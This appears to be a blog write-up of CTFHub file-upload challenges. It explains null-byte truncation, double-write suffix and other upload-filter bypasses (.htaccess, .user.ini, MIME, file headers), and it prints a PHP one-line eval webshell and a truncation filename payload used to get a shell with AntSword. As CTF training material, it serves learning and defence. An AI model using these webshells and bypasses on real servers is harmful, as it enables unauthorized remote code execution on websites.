CTFHUB WEB 文件上传(终)

 00截断

先来看一下他的原理:00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通过修改数据包,插入\0字符的方式,达到字符串截断的目的。00截断通常用来绕过web软waf的白名单限制。

条件

php版本小于5.3.29

magic_quotes_gpc = Off

接下来进入实战 上传一个一句话木马 用bp抓包

 

它给了我们路径 所以就可以直接在后面加  shell.php%00

filename要改成下面这种形式 因为jpg文件可以上传成功的

 filename="shell.php%00.jpg"

在把文件类型改成image/jpeg形式

放包 发现可以上传成功

用蚁剑连接 找到flag

 

双写后缀

双写后缀的原理: 服务端对黑名单中的内容进行处理,且仅处理一次,所以可以通过双写后缀绕过.如,黑名单中有"php"字样,上传文件名为"1.php" 上传后文件变成"1."因此我们可以用pphphp当作后缀,服务端就会把这个后缀变成php 就可以上传成功

下面进入实战

发现上传一句话木马 发现后缀被删除 用bp抓一下包 用双写后缀进行绕过

发现上传成功 用蚁剑连接

 

 连接蚁剑 找到flag

 

 文件上传漏洞结束

总结一下所有的东西

1.无验证

没有任何限制 只需要上传一句话木马连接蚁剑就可以

2.前端验证

指的是在网页端前端,是网页的前台,设置了限制 最常用的是js前端绕过

只需要在前端禁用js函数就可以绕过 在连接蚁剑

3.mime绕过

指的是文件类型绕过 源码会限制上传的文件类型,把文件的类型(Content-Type)用bp更改一下在放包就可以绕过

4..htaccess文件

.htaccess文件是是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件我们可以进行更改配置来让服务器把jpg/png/gif文件解析成php文件 通过这种方式进行绕过 

5.文件头检查

文件头检查原理:上传文件限制了他的文件头 这时候我们就需要把文件头改成它默认可以上传的文件的文件头 比如jpg/png/gif文件的文件头就可以绕过

6.00截断

00截断是利用C语言或者汇编语言的漏洞 当以%00(0x00、\0)结尾时 会认为读取到了结尾 所以可以通过这种方式来进行绕过 比如 shell.php%00.jpg后端就会识别成shell.php 不识别jpg 从而达到绕过的目的

7.双写后缀

双写后缀服务端对黑名单中的内容进行处理,且仅处理一次,所以可以通过双写后缀绕过.如,黑名单中有"php"字样,上传文件名为"1.php" 上传后文件变成"1."因此我们可以用pphphp当作后缀,服务端就会把这个后缀变成php 就可以上传成功

8.  .user.ini文件

php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

 

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

简单来说 .user.ini文件是php的一个配置文件 通过修改.user.ini文件可以修改php的配置 达到文件上传绕过的目的

 9.白名单和黑名单

白名单是设置能通过的用户,白名单以外的用户都不能通过。 黑名单是设置不能通过的用户,黑名单以外的用户都能通过。 所以多数情况下白名单比黑名单限制的用户要更多一些

10.蚁剑连接

蚁剑是一个shell端控制软件 可以通过连接的一句话木马打开网站后门,对网站进行操作

11.一句话木马原理

<?php @eval($_POST[password]);?>

简单的一句话木马  是因为eval函数可以执行任意的php代码

所以我们post传入的字符串会以php代码的形式运行,而php代码又能调用系统操作所以便成了木马

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值